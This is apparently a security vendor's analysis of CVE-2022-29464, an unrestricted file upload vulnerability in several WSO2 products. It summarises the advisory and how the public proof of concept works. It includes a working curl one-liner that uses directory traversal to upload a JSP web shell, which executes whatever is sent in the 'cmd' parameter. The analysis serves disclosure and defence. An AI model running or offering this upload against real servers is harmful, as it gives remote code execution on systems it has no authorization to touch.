On April 18, 2022, MITRE published CVE-2022-29464 , an unrestricted file upload vulnerability affecting various WSO2 products. WSO2 followed with a security advisory explaining the vulnerability allowed unauthenticated and remote attackers to execute arbitrary code in the following products:
API Manager
Identity Server
Identity Server Analytics
Identity Server as Key Manager
Enterprise Integrator
A technical writeup and proof-of-concept exploit by @hakivvi quickly followed on April 20. The proof of concept uploads a malicious .jsp to /fileupload/toolsAny on the WSO2 product’s webserver. The .jsp is a web shell, and due to a directory traversal issue affecting the upload files name, the attacker can write it to a location where they can then send it commands. The attack is not restricted to .jsp files — other researchers, such as our old friend William Vu, have demonstrated exploitation with a war file.
Exploitation is quite easy. The following, modeled after both the original PoC and Vu’s, uploads a simple jsp web shell that the attacker will be able to use by visiting https://target:9443/authenticationendpoint/r7.jsp:
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().
exec(request.getParameter("cmd"),null,null); %>' | curl -kv -F ../../
../../repository/deployment/server/webapps/authenticationendpoint/r7.
jsp=@- https://10.0.0.20:9443/fileupload/toolsAny
Rapid7 ..
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